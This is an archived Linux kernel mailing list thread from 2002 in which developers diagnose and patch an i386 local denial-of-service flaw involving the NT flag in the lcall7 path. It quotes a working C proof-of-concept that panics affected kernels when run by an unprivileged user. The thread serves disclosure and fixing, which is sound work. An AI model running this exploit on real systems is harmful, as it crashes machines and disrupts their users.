2002-11-13 20:30:05

by Petr Vandrovec

[permalink] [raw]
Subject: RE: FW: i386 Linux kernel DoS (clarification)

On 13 Nov 02 at 11:23, Leif Sawyer wrote:
> #include <sys/ptrace.h>
>
> struct user_regs_struct {
> long ebx, ecx, edx, esi, edi, ebp, eax;
> unsigned short ds, __ds, es, __es;
> unsigned short fs, __fs, gs, __gs;
> long orig_eax, eip;
> unsigned short cs, __cs;
> long eflags, esp;
> unsigned short ss, __ss;
> };
>
> int main( void )
> {
> int pid;
> char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
> void (* lcall7)( void ) = (void *) dos;
> struct user_regs_struct d;
>
> if( ! ( pid = fork() ) )
> {
> usleep( 1000 );
> (* lcall7)();
> }
> else
> {
> ptrace( PTRACE_ATTACH, pid, 0, 0 );
> while( 1 )
> {
> wait( 0 );
> ptrace( PTRACE_GETREGS, pid, 0, &d );
> d.eflags |= 0x4100; /* set TF and NT */
> ptrace( PTRACE_SETREGS, pid, 0, &d );
> ptrace( PTRACE_SYSCALL, pid, 0, 0 );
> }
> }
>
> return 1;
> }
>
> At the beginning I thought only kernels <= 2.4.18 were affected; but it
> appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
> The flaw seems to be related to the kernel's handling of the nested task
> (NT) flag inside a lcall7.

2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
Next time I'll trust you.
Petr Vandrovec
[email protected]


2002-11-13 20:37:53

by Alan

[permalink] [raw]
Subject: RE: FW: i386 Linux kernel DoS (clarification)

On Wed, 2002-11-13 at 20:36, Petr Vandrovec wrote:
> 2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
> Next time I'll trust you.

It does the lcall
The lcall takes an exception
The exception (TF) has NT set
iret returns via the task linkage

I think just clearing the NT bit in both lcall path _and_ in the TF
exception handler does the trick.


2002-11-13 21:15:30

by Alan

[permalink] [raw]
Subject: Re: FW: i386 Linux kernel DoS (clarification)

On Wed, 2002-11-13 at 21:13, Petr Vandrovec wrote:
> This fixes it for me. I'll have to look at ia32 manual at home, why I
> must do pushl %eax & popfl, as NT should be already cleared by
> do_debug(). I probably miss something obvious, but I do not think that
> adding these three instructions into lcall7/27 fastpath is acceptable.

I dont think you can avoid it without ceasing to be clever. The problem
is Linus or someone pulled a nifty track so that we do an lcall in and
an iret.

lcall doesnt clear NT
iret when it sees NT is set performs a task switch to the link field in
the current TSS.


2002-11-13 21:07:25

by Petr Vandrovec

[permalink] [raw]
Subject: Re: FW: i386 Linux kernel DoS (clarification)

On Wed, Nov 13, 2002 at 09:10:14PM +0000, Alan Cox wrote:
> On Wed, 2002-11-13 at 20:36, Petr Vandrovec wrote:
> > 2.5.47-current-bk, run as mere user: Kernel panic: Attempted to kill init!
> > Next time I'll trust you.
>
> It does the lcall
> The lcall takes an exception
> The exception (TF) has NT set
> iret returns via the task linkage
>
> I think just clearing the NT bit in both lcall path _and_ in the TF
> exception handler does the trick.

This fixes it for me. I'll have to look at ia32 manual at home, why I
must do pushl %eax & popfl, as NT should be already cleared by
do_debug(). I probably miss something obvious, but I do not think that
adding these three instructions into lcall7/27 fastpath is acceptable.

Without pushl %eax & popfl it behaved much better than originally:
modprobe started, said that personality-1 does not exist, and then
system killed init (instead of killing init immediately).
Best regards,
Petr Vandrovec
[email protected]


diff -urN linux-2.5.47.dist/arch/i386/kernel/entry.S linux-2.5.47/arch/i386/kernel/entry.S
--- linux-2.5.47.dist/arch/i386/kernel/entry.S 2002-11-11 12:26:04.000000000 +0100
+++ linux-2.5.47/arch/i386/kernel/entry.S 2002-11-13 22:02:17.000000000 +0100
@@ -131,6 +131,9 @@
movl EIP(%esp), %eax # due to call gates, this is eflags, not eip..
movl CS(%esp), %edx # this is eip..
movl EFLAGS(%esp), %ecx # and this is cs..
+ andl $~NT_MASK, %eax
+ pushl %eax
+ popfl
movl %eax,EFLAGS(%esp) #
movl %edx,EIP(%esp) # Now we move them to their "normal" places
movl %ecx,CS(%esp) #
@@ -153,6 +156,9 @@
movl EIP(%esp), %eax # due to call gates, this is eflags, not eip..
movl CS(%esp), %edx # this is eip..
movl EFLAGS(%esp), %ecx # and this is cs..
+ andl $~NT_MASK, %eax
+ pushl %eax
+ popfl
movl %eax,EFLAGS(%esp) #
movl %edx,EIP(%esp) # Now we move them to their "normal" places
movl %ecx,CS(%esp) #
diff -urN linux-2.5.47.dist/arch/i386/kernel/traps.c linux-2.5.47/arch/i386/kernel/traps.c
--- linux-2.5.47.dist/arch/i386/kernel/traps.c 2002-11-11 12:26:02.000000000 +0100
+++ linux-2.5.47/arch/i386/kernel/traps.c 2002-11-13 21:54:26.000000000 +0100
@@ -636,7 +636,7 @@
return;

clear_TF:
- regs->eflags &= ~TF_MASK;
+ regs->eflags &= ~(TF_MASK|NT_MASK);
return;
}